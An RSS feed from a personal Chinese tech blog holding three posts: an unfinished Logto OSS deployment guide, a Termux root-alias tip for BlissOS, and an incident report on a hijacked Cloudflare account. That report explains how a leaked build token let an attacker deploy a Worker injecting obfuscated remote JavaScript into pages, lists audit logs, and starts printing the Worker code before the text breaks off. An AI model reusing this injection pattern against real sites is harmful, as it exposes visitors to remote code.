<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>YHL Blog</title><description>Simplier and cheaper……</description><link>https://www.y-dev.tech/</link><language>zh_CN</language><item><title>部署 Logto OSS</title><link>https://www.y-dev.tech/posts/logto-deploy/</link><guid isPermaLink="true">https://www.y-dev.tech/posts/logto-deploy/</guid><description>自建 OIDC 网关</description><pubDate>Thu, 18 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;貌似上次发文章还是在4月的时候……所以让我们&lt;s&gt;水&lt;/s&gt;一篇文章吧&lt;/p&gt;
&lt;h1&gt;Logto 是啥&lt;/h1&gt;
&lt;p&gt;好的我们首先&lt;s&gt;抄&lt;/s&gt;看下官方的 &lt;code&gt;README&lt;/code&gt; :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Logto 为你的 SaaS 或 AI 应用添加多租户、企业级单点登录和 RBAC。全部基于 OIDC 和 OAuth 2.1，简单、快速且对开发者友好。
::github{repo=&quot;logto-io/logto&quot;}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Logto 分为 Cloud 版本（官方托管的服务器）和 OSS 版本（自建），目前大概的状况是：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;功能&lt;/th&gt;
&lt;th&gt;Cloud 免费版&lt;/th&gt;
&lt;th&gt;OSS&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;邮件/Passkey/第三方登录等连接器&lt;/td&gt;
&lt;td&gt;×&lt;/td&gt;
&lt;td&gt;√&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;隐藏“Powered by Logto&quot;&lt;/td&gt;
&lt;td&gt;×&lt;/td&gt;
&lt;td&gt;√&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;绑定自己的域名&lt;/td&gt;
&lt;td&gt;×&lt;/td&gt;
&lt;td&gt;√&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;分配角色&lt;/td&gt;
&lt;td&gt;×&lt;/td&gt;
&lt;td&gt;√&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;应用调用方式&lt;/td&gt;
&lt;td&gt;使用 Logto SDK&lt;/td&gt;
&lt;td&gt;支持 Oauth&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;用户数限制&lt;/td&gt;
&lt;td&gt;月活限制 50000 个&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;所以，一般情况下建议使用 OSS 版本&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;以下我们就举例：直接部署、自建 Docker 和使用雨云RCS快速部署三种方法。需要注意的是，使用直接部署和自建 Docker 需要自备服务器。&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;** 咕咕咕~ 这篇文章还没有写完喵！有空会尽快更完的！ **
&lt;s&gt;什么叫&quot;有空&quot;和&quot;尽快&quot;……&lt;/s&gt;&lt;/p&gt;
</content:encoded></item><item><title>在 BlissOS 的 Termux 中找回一键 su !</title><link>https://www.y-dev.tech/posts/blissos-16-quick-su/</link><guid isPermaLink="true">https://www.y-dev.tech/posts/blissos-16-quick-su/</guid><description>BlissOS 上 su 用不了？看这里！</description><pubDate>Sat, 25 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;本篇文章在 BlissOS 实体机下写作。
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;16.9.7&lt;/h1&gt;
&lt;p&gt;众所周知，目前 BlissOS 最新的能下载的版本是 16.9.7 但是存在一些奇怪的问题，其中就包括：
&lt;img src=&quot;/images/blissos-su-failed.png&quot; alt=&quot;su failed&quot; /&gt;
&lt;a href=&quot;https://github.com/termux/termux-app/issues/3997#issuecomment-3750217652&quot;&gt;解决方案&lt;/a&gt;是这样的：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;to get root in fully-up-to-date Termux in BlissOS version 16.9.7,
first grant Termux root permission in KernelSU app, then unset LD_PRELOAD,
then launch a new bash session, then directly invoke
/system/bin/su (with absolute path), then set LD_PRELOAD again&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unset LD_PRELOAD
bash
/system/bin/su
export LD_PRELOAD=/data/data/com.termux/files/usr/lib/libtermux-exec-ld-preload.so
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;p&gt;确实可以使用，但是不够优雅。这边写个一站式解决方案：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;alias su-bliss=&apos;env -i /system/bin/su&apos;&quot; &amp;gt;&amp;gt; ˜/.bashrc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重启下或新建终端就可以使用&lt;code&gt;su-bliss&lt;/code&gt;直接进入 root 终端了&lt;/p&gt;
&lt;h1&gt;其他版本&lt;/h1&gt;
&lt;p&gt;在这些版本中的 root 方式一般为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/system/bin/su
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用别名替换一下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;alias su-bliss=&apos;/sysyem/bin/su&apos;&quot; &amp;gt;&amp;gt; ˜/.bashrc
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>记一次 Cloudflare 账户遭到恶意 Worker 注入</title><link>https://www.y-dev.tech/posts/cloudflare-account-hacked/</link><guid isPermaLink="true">https://www.y-dev.tech/posts/cloudflare-account-hacked/</guid><description>千万保管好你的 API TOKEN!</description><pubDate>Thu, 23 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;经过&lt;/h1&gt;
&lt;p&gt;昨天访问我的站点，突然发现页面变成了 Error 1000，即反代源站为 Cloudflare 内部ip。&lt;/p&gt;
&lt;p&gt;由于本站为部署在 Cloudflare Worker 的静态站点，并使用了 CNAME 优选，唯一可能的原因就是 Worker 的 路由被删除。&lt;/p&gt;
&lt;p&gt;在具体的 Worker 页面查看，确实，原本绑定 y-dev.tech/* 和www.y-dev.tech/* 的路由已经消失。但是我清楚地记得我&lt;strong&gt;没有&lt;/strong&gt;删除！怎么回事呢？&lt;/p&gt;
&lt;p&gt;重新尝试添加路由，发现提示： 路由已被quiet-limit-xxxxx使用。看样子这是一个worker。点开一看，是一个没有绑定 Github 的 Worker，但是绑定了我&lt;strong&gt;大部分&lt;/strong&gt;的业务子域名,甚至还有&lt;code&gt;*y-dev.tech/*&lt;/code&gt;的路由。再看看代码，发现是被js注入了，向返回页面中添加了混淆且加密的恶意脚本&lt;/p&gt;
&lt;p&gt;我当即删除了这个 Worker 并查看了我的账户审计日志，发现该 Worker的创建时间是我不在线的一天前的晚上12点，使用&lt;strong&gt;api&lt;/strong&gt;授权并创建了多个 Worker路由，且操作时间并非集中在几秒钟内，判断为人工操作，操作来自ip &lt;code&gt;85.198.46.203&lt;/code&gt;。对ip的访问记录没有进一步的查询结果，且该ip被归为代理出口。&lt;/p&gt;
&lt;p&gt;通过&lt;code&gt;api&lt;/code&gt;这个信息，我查看了我的账户api token，并且发现了一个名叫&lt;code&gt;(我的某个项目)-build-token&lt;/code&gt;但申请了&lt;strong&gt;几乎所有权限&lt;/strong&gt;的api token，我当即进行了删除。
出于保险起见我还重置了 Global API Key。&lt;/p&gt;
&lt;h1&gt;复盘&lt;/h1&gt;
&lt;h2&gt;为什么我能马上发现？&lt;/h2&gt;
&lt;p&gt;歪打正着，我的站点本身就是部署在 Worker 上且使用路由的，在他修改路由时相当于删除了源站绑定导致请求直接流入 Cloudflare IP 出现错误，这才被察觉。&lt;/p&gt;
&lt;h2&gt;代码干了什么？&lt;/h2&gt;
&lt;p&gt;假装无事发生，请求源站并返回页面，但是在返回的页面插入一个 script 块，里面写了混淆+加密的js，解密后是在客户端执行远程js代码。&lt;/p&gt;
&lt;h2&gt;有什么危害&lt;/h2&gt;
&lt;p&gt;首先，在我&lt;strong&gt;不知情&lt;/strong&gt;的情况创建 Worker、API Token几乎完全权限的情况下，他几乎可以对我的账户及域名进行任意操作。&lt;/p&gt;
&lt;p&gt;其次，这个 Worker 本身设计是无感的且很难主动发现。&lt;/p&gt;
&lt;h2&gt;关于那个 API Token&lt;/h2&gt;
&lt;p&gt;那个 Token 是 Cloudflare 进行绑定 Github 的 Worker Build 必须的，是自动生成的，且默认情况下整个账户的 Worker 会使用同一 token。该 token 具有的相关权限：修改 Worker 代码，修改 Worker 路由，修改账户设置等。具体参见 &lt;a href=&quot;https://developers.cloudflare.com/workers/ci-cd/builds/configuration/#api-token&quot;&gt;Cloudflare的文档&lt;/a&gt;：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The API token in Workers Builds defines the access granted to Workers Builds for interacting with your account&apos;s resources. Currently, only user tokens are supported, with account-owned token support coming soon.&lt;/p&gt;
&lt;p&gt;When you select Create new token, a new API token will be created automatically with the following permissions:&lt;/p&gt;
&lt;p&gt;Account: Account Settings (read), Workers Scripts (edit), Workers KV Storage (edit), Workers R2 Storage (edit)
Zone: Workers Routes (edit) for all zones on the account
User: User Details (read), Memberships (read)
You can configure the permissions of this API token by navigating to My Profile &amp;gt; API Tokens for user tokens.&lt;/p&gt;
&lt;p&gt;It is recommended to consistently use the same API token across all uploads and deployments of your Worker to maintain consistent&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;由于我并没有在任何地方引用这些 token ，有&lt;strong&gt;极大概率&lt;/strong&gt;是&lt;a href=&quot;https://chatgpt.com/s/t_69ebab113fe08191a43b8618c1b9a85c&quot;&gt;近期泛滥的 npm 投毒&lt;/a&gt;导致的。&lt;/p&gt;
&lt;h2&gt;启示？&lt;/h2&gt;
&lt;p&gt;API Token 保管好！！！设置 ip 限制和权限限制！！及时更新你的 npm 包！具体来说可以把 Build Token 确认不需要的权限要删除。为保安全，也建议多关注一下安全事件，及时整改。&lt;/p&gt;
&lt;h1&gt;完整资源&lt;/h1&gt;
&lt;h2&gt;完整审计日志&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Time&lt;/th&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Success&lt;/th&gt;
&lt;th&gt;Actor Type&lt;/th&gt;
&lt;th&gt;Actor ID&lt;/th&gt;
&lt;th&gt;Actor IP&lt;/th&gt;
&lt;th&gt;Owner ID&lt;/th&gt;
&lt;th&gt;Resource Type&lt;/th&gt;
&lt;th&gt;Interface&lt;/th&gt;
&lt;th&gt;Resource ID&lt;/th&gt;
&lt;th&gt;Metadata&lt;/th&gt;
&lt;th&gt;NewValue&lt;/th&gt;
&lt;th&gt;OldValue&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2026-04-21T14:28:39Z&lt;/td&gt;
&lt;td&gt;79edfc84-...&lt;/td&gt;
&lt;td&gt;route_update&lt;/td&gt;
&lt;td&gt;TRUE&lt;/td&gt;
&lt;td&gt;user&lt;/td&gt;
&lt;td&gt;47311258&lt;/td&gt;
&lt;td&gt;85.198.46.203&lt;/td&gt;
&lt;td&gt;7fe8******84e9&lt;/td&gt;
&lt;td&gt;route&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;bd5768dc...&lt;/td&gt;
&lt;td&gt;{&quot;actor_email&quot;:&quot;o*****e@outlook.com&quot;,&quot;pattern&quot;:&quot;previewapi.&amp;lt;REDACTED&amp;gt;/*&quot;,&quot;script_name&quot;:&quot;quiet-limit-d8c3&quot;,&quot;zone_name&quot;:&quot;&amp;lt;REDACTED&amp;gt;&quot;}&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-04-21T14:28:33Z&lt;/td&gt;
&lt;td&gt;e8ba2671-...&lt;/td&gt;
&lt;td&gt;route_update&lt;/td&gt;
&lt;td&gt;TRUE&lt;/td&gt;
&lt;td&gt;user&lt;/td&gt;
&lt;td&gt;47311258&lt;/td&gt;
&lt;td&gt;85.198.46.203&lt;/td&gt;
&lt;td&gt;7fe8******84e9&lt;/td&gt;
&lt;td&gt;route&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;fdf4c171...&lt;/td&gt;
&lt;td&gt;{&quot;actor_email&quot;:&quot;o*****e@outlook.com&quot;,&quot;pattern&quot;:&quot;ftp.&amp;lt;REDACTED&amp;gt;/*&quot;,&quot;script_name&quot;:&quot;quiet-limit-d8c3&quot;,&quot;zone_name&quot;:&quot;&amp;lt;REDACTED&amp;gt;&quot;}&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-04-21T14:28:27Z&lt;/td&gt;
&lt;td&gt;29dbea2a-...&lt;/td&gt;
&lt;td&gt;route_update&lt;/td&gt;
&lt;td&gt;TRUE&lt;/td&gt;
&lt;td&gt;user&lt;/td&gt;
&lt;td&gt;47311258&lt;/td&gt;
&lt;td&gt;85.198.46.203&lt;/td&gt;
&lt;td&gt;7fe8******84e9&lt;/td&gt;
&lt;td&gt;route&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;3b765f82...&lt;/td&gt;
&lt;td&gt;{&quot;actor_email&quot;:&quot;o*****e@outlook.com&quot;,&quot;pattern&quot;:&quot;odview.&amp;lt;REDACTED&amp;gt;/*&quot;,&quot;script_name&quot;:&quot;quiet-limit-d8c3&quot;,&quot;zone_name&quot;:&quot;&amp;lt;REDACTED&amp;gt;&quot;}&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-04-21T14:28:22Z&lt;/td&gt;
&lt;td&gt;8a6af94b-...&lt;/td&gt;
&lt;td&gt;route_update&lt;/td&gt;
&lt;td&gt;TRUE&lt;/td&gt;
&lt;td&gt;user&lt;/td&gt;
&lt;td&gt;47311258&lt;/td&gt;
&lt;td&gt;85.198.46.203&lt;/td&gt;
&lt;td&gt;7fe8******84e9&lt;/td&gt;
&lt;td&gt;route&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;5c70b3f5...&lt;/td&gt;
&lt;td&gt;{&quot;actor_email&quot;:&quot;o*****e@outlook.com&quot;,&quot;pattern&quot;:&quot;previewfront.&amp;lt;REDACTED&amp;gt;/*&quot;,&quot;script_name&quot;:&quot;quiet-limit-d8c3&quot;,&quot;zone_name&quot;:&quot;&amp;lt;REDACTED&amp;gt;&quot;}&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-04-21T14:28:17Z&lt;/td&gt;
&lt;td&gt;fdc121a5-...&lt;/td&gt;
&lt;td&gt;route_update&lt;/td&gt;
&lt;td&gt;TRUE&lt;/td&gt;
&lt;td&gt;user&lt;/td&gt;
&lt;td&gt;47311258&lt;/td&gt;
&lt;td&gt;85.198.46.203&lt;/td&gt;
&lt;td&gt;7fe8******84e9&lt;/td&gt;
&lt;td&gt;route&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;86945d38...&lt;/td&gt;
&lt;td&gt;{&quot;actor_email&quot;:&quot;o*****e@outlook.com&quot;,&quot;pattern&quot;:&quot;www.&amp;lt;REDACTED&amp;gt;/*&quot;,&quot;script_name&quot;:&quot;quiet-limit-d8c3&quot;,&quot;zone_name&quot;:&quot;&amp;lt;REDACTED&amp;gt;&quot;}&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-04-21T14:28:12Z&lt;/td&gt;
&lt;td&gt;e02023e0-...&lt;/td&gt;
&lt;td&gt;route_update&lt;/td&gt;
&lt;td&gt;TRUE&lt;/td&gt;
&lt;td&gt;user&lt;/td&gt;
&lt;td&gt;47311258&lt;/td&gt;
&lt;td&gt;85.198.46.203&lt;/td&gt;
&lt;td&gt;7fe8******84e9&lt;/td&gt;
&lt;td&gt;route&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;9f89412d...&lt;/td&gt;
&lt;td&gt;{&quot;actor_email&quot;:&quot;o*****e@outlook.com&quot;,&quot;pattern&quot;:&quot;dl.&amp;lt;REDACTED&amp;gt;/*&quot;,&quot;script_name&quot;:&quot;quiet-limit-d8c3&quot;,&quot;zone_name&quot;:&quot;&amp;lt;REDACTED&amp;gt;&quot;}&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-04-21T14:28:05Z&lt;/td&gt;
&lt;td&gt;209f14c6-...&lt;/td&gt;
&lt;td&gt;route_update&lt;/td&gt;
&lt;td&gt;TRUE&lt;/td&gt;
&lt;td&gt;user&lt;/td&gt;
&lt;td&gt;47311258&lt;/td&gt;
&lt;td&gt;85.198.46.203&lt;/td&gt;
&lt;td&gt;7fe8******84e9&lt;/td&gt;
&lt;td&gt;route&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;900b9c63...&lt;/td&gt;
&lt;td&gt;{&quot;actor_email&quot;:&quot;o*****e@outlook.com&quot;,&quot;pattern&quot;:&quot;esw.&amp;lt;REDACTED&amp;gt;/*&quot;,&quot;script_name&quot;:&quot;quiet-limit-d8c3&quot;,&quot;zone_name&quot;:&quot;&amp;lt;REDACTED&amp;gt;&quot;}&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-04-21T14:27:58Z&lt;/td&gt;
&lt;td&gt;32c587dd-...&lt;/td&gt;
&lt;td&gt;route_update&lt;/td&gt;
&lt;td&gt;TRUE&lt;/td&gt;
&lt;td&gt;user&lt;/td&gt;
&lt;td&gt;47311258&lt;/td&gt;
&lt;td&gt;85.198.46.203&lt;/td&gt;
&lt;td&gt;7fe8******84e9&lt;/td&gt;
&lt;td&gt;route&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;e07701a8...&lt;/td&gt;
&lt;td&gt;{&quot;actor_email&quot;:&quot;o*****e@outlook.com&quot;,&quot;pattern&quot;:&quot;esw2.&amp;lt;REDACTED&amp;gt;/*&quot;,&quot;script_name&quot;:&quot;quiet-limit-d8c3&quot;,&quot;zone_name&quot;:&quot;&amp;lt;REDACTED&amp;gt;&quot;}&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-04-21T14:27:49Z&lt;/td&gt;
&lt;td&gt;533b0984-...&lt;/td&gt;
&lt;td&gt;route_update&lt;/td&gt;
&lt;td&gt;TRUE&lt;/td&gt;
&lt;td&gt;user&lt;/td&gt;
&lt;td&gt;47311258&lt;/td&gt;
&lt;td&gt;85.198.46.203&lt;/td&gt;
&lt;td&gt;7fe8******84e9&lt;/td&gt;
&lt;td&gt;route&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;e59e0207...&lt;/td&gt;
&lt;td&gt;{&quot;actor_email&quot;:&quot;o*****e@outlook.com&quot;,&quot;pattern&quot;:&quot;cdn.od.ftp.&amp;lt;REDACTED&amp;gt;/*&quot;,&quot;script_name&quot;:&quot;quiet-limit-d8c3&quot;,&quot;zone_name&quot;:&quot;&amp;lt;REDACTED&amp;gt;&quot;}&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-04-21T14:26:05Z&lt;/td&gt;
&lt;td&gt;9774bae0-...&lt;/td&gt;
&lt;td&gt;route_create&lt;/td&gt;
&lt;td&gt;TRUE&lt;/td&gt;
&lt;td&gt;user&lt;/td&gt;
&lt;td&gt;47311258&lt;/td&gt;
&lt;td&gt;85.198.46.203&lt;/td&gt;
&lt;td&gt;7fe8******84e9&lt;/td&gt;
&lt;td&gt;route&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;40732509...&lt;/td&gt;
&lt;td&gt;{&quot;actor_email&quot;:&quot;o*****e@outlook.com&quot;,&quot;pattern&quot;:&quot;&lt;em&gt;&amp;lt;REDACTED&amp;gt;/&lt;/em&gt;&quot;,&quot;script_name&quot;:&quot;quiet-limit-d8c3&quot;,&quot;zone_name&quot;:&quot;&amp;lt;REDACTED&amp;gt;&quot;}&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-04-21T14:25:21Z&lt;/td&gt;
&lt;td&gt;4cfc8f60-...&lt;/td&gt;
&lt;td&gt;route_create&lt;/td&gt;
&lt;td&gt;TRUE&lt;/td&gt;
&lt;td&gt;user&lt;/td&gt;
&lt;td&gt;47311258&lt;/td&gt;
&lt;td&gt;85.198.46.203&lt;/td&gt;
&lt;td&gt;7fe8******84e9&lt;/td&gt;
&lt;td&gt;route&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;0717a5e3...&lt;/td&gt;
&lt;td&gt;{&quot;actor_email&quot;:&quot;o*****e@outlook.com&quot;,&quot;pattern&quot;:&quot;&lt;em&gt;&amp;lt;REDACTED&amp;gt;/&lt;/em&gt;&quot;,&quot;script_name&quot;:&quot;quiet-limit-d8c3&quot;,&quot;zone_name&quot;:&quot;&amp;lt;REDACTED&amp;gt;&quot;}&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-04-21T14:24:26Z&lt;/td&gt;
&lt;td&gt;3c59b765-...&lt;/td&gt;
&lt;td&gt;script_deploy&lt;/td&gt;
&lt;td&gt;TRUE&lt;/td&gt;
&lt;td&gt;user&lt;/td&gt;
&lt;td&gt;47311258&lt;/td&gt;
&lt;td&gt;85.198.46.203&lt;/td&gt;
&lt;td&gt;7fe8******84e9&lt;/td&gt;
&lt;td&gt;script&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;quiet-limit-d8c3&lt;/td&gt;
&lt;td&gt;{&quot;actor_email&quot;:&quot;o*****e@outlook.com&quot;,&quot;deployment_id&quot;:&quot;8c1e3aa4-...&quot;}&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-04-21T14:24:26Z&lt;/td&gt;
&lt;td&gt;ed3fb854-...&lt;/td&gt;
&lt;td&gt;script_update&lt;/td&gt;
&lt;td&gt;TRUE&lt;/td&gt;
&lt;td&gt;user&lt;/td&gt;
&lt;td&gt;47311258&lt;/td&gt;
&lt;td&gt;85.198.46.203&lt;/td&gt;
&lt;td&gt;7fe8******84e9&lt;/td&gt;
&lt;td&gt;script&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;quiet-limit-d8c3&lt;/td&gt;
&lt;td&gt;{&quot;actor_email&quot;:&quot;o*****e@outlook.com&quot;,&quot;script_tag&quot;:&quot;1843d5a6...&quot;,&quot;version_id&quot;:&quot;ada07faa-...&quot;}&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-04-21T14:23:41Z&lt;/td&gt;
&lt;td&gt;ccf69a4b-...&lt;/td&gt;
&lt;td&gt;script_on_subdomain&lt;/td&gt;
&lt;td&gt;TRUE&lt;/td&gt;
&lt;td&gt;user&lt;/td&gt;
&lt;td&gt;47311258&lt;/td&gt;
&lt;td&gt;85.198.46.203&lt;/td&gt;
&lt;td&gt;7fe8******84e9&lt;/td&gt;
&lt;td&gt;script&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;quiet-limit-d8c3&lt;/td&gt;
&lt;td&gt;{&quot;actor_email&quot;:&quot;o*****e@outlook.com&quot;}&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-04-21T14:23:39Z&lt;/td&gt;
&lt;td&gt;0a19ec74-...&lt;/td&gt;
&lt;td&gt;script_deploy&lt;/td&gt;
&lt;td&gt;TRUE&lt;/td&gt;
&lt;td&gt;user&lt;/td&gt;
&lt;td&gt;47311258&lt;/td&gt;
&lt;td&gt;85.198.46.203&lt;/td&gt;
&lt;td&gt;7fe8******84e9&lt;/td&gt;
&lt;td&gt;script&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;quiet-limit-d8c3&lt;/td&gt;
&lt;td&gt;{&quot;actor_email&quot;:&quot;o*****e@outlook.com&quot;,&quot;deployment_id&quot;:&quot;8ac5a4ed-...&quot;}&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-04-21T14:23:39Z&lt;/td&gt;
&lt;td&gt;c7e30b68-...&lt;/td&gt;
&lt;td&gt;script_create&lt;/td&gt;
&lt;td&gt;TRUE&lt;/td&gt;
&lt;td&gt;user&lt;/td&gt;
&lt;td&gt;47311258&lt;/td&gt;
&lt;td&gt;85.198.46.203&lt;/td&gt;
&lt;td&gt;7fe8******84e9&lt;/td&gt;
&lt;td&gt;script&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;quiet-limit-d8c3&lt;/td&gt;
&lt;td&gt;{&quot;actor_email&quot;:&quot;o*****e@outlook.com&quot;,&quot;script_tag&quot;:&quot;1843d5a6...&quot;,&quot;version_id&quot;:&quot;92b8684e-...&quot;}&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-04-21T14:23:10Z&lt;/td&gt;
&lt;td&gt;71f8c893-...&lt;/td&gt;
&lt;td&gt;route_delete&lt;/td&gt;
&lt;td&gt;TRUE&lt;/td&gt;
&lt;td&gt;user&lt;/td&gt;
&lt;td&gt;47311258&lt;/td&gt;
&lt;td&gt;85.198.46.203&lt;/td&gt;
&lt;td&gt;7fe8******84e9&lt;/td&gt;
&lt;td&gt;route&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;77dacf0b...&lt;/td&gt;
&lt;td&gt;{&quot;actor_email&quot;:&quot;o*****e@outlook.com&quot;,&quot;pattern&quot;:&quot;esm.&amp;lt;REDACTED&amp;gt;/*&quot;,&quot;zone_name&quot;:&quot;&amp;lt;REDACTED&amp;gt;&quot;}&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-04-21T14:21:44Z&lt;/td&gt;
&lt;td&gt;0dadecf5-...&lt;/td&gt;
&lt;td&gt;login&lt;/td&gt;
&lt;td&gt;TRUE&lt;/td&gt;
&lt;td&gt;user&lt;/td&gt;
&lt;td&gt;4903******62a6&lt;/td&gt;
&lt;td&gt;85.198.46.203&lt;/td&gt;
&lt;td&gt;4903******62a6&lt;/td&gt;
&lt;td&gt;account&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;4903******62a6&lt;/td&gt;
&lt;td&gt;{&quot;actor_email&quot;:&quot;o*****e@outlook.com&quot;}&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Worker 原代码&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;export default {
  async fetch(request) {
    const response = await fetch(request);
    const contentType = response.headers.get(&quot;content-type&quot;);
    
    if (contentType &amp;amp;&amp;amp; contentType.includes(&quot;text/html&quot;)) {
      let html = await response.text();
      
      const yourScript = `&amp;lt;script&amp;gt;
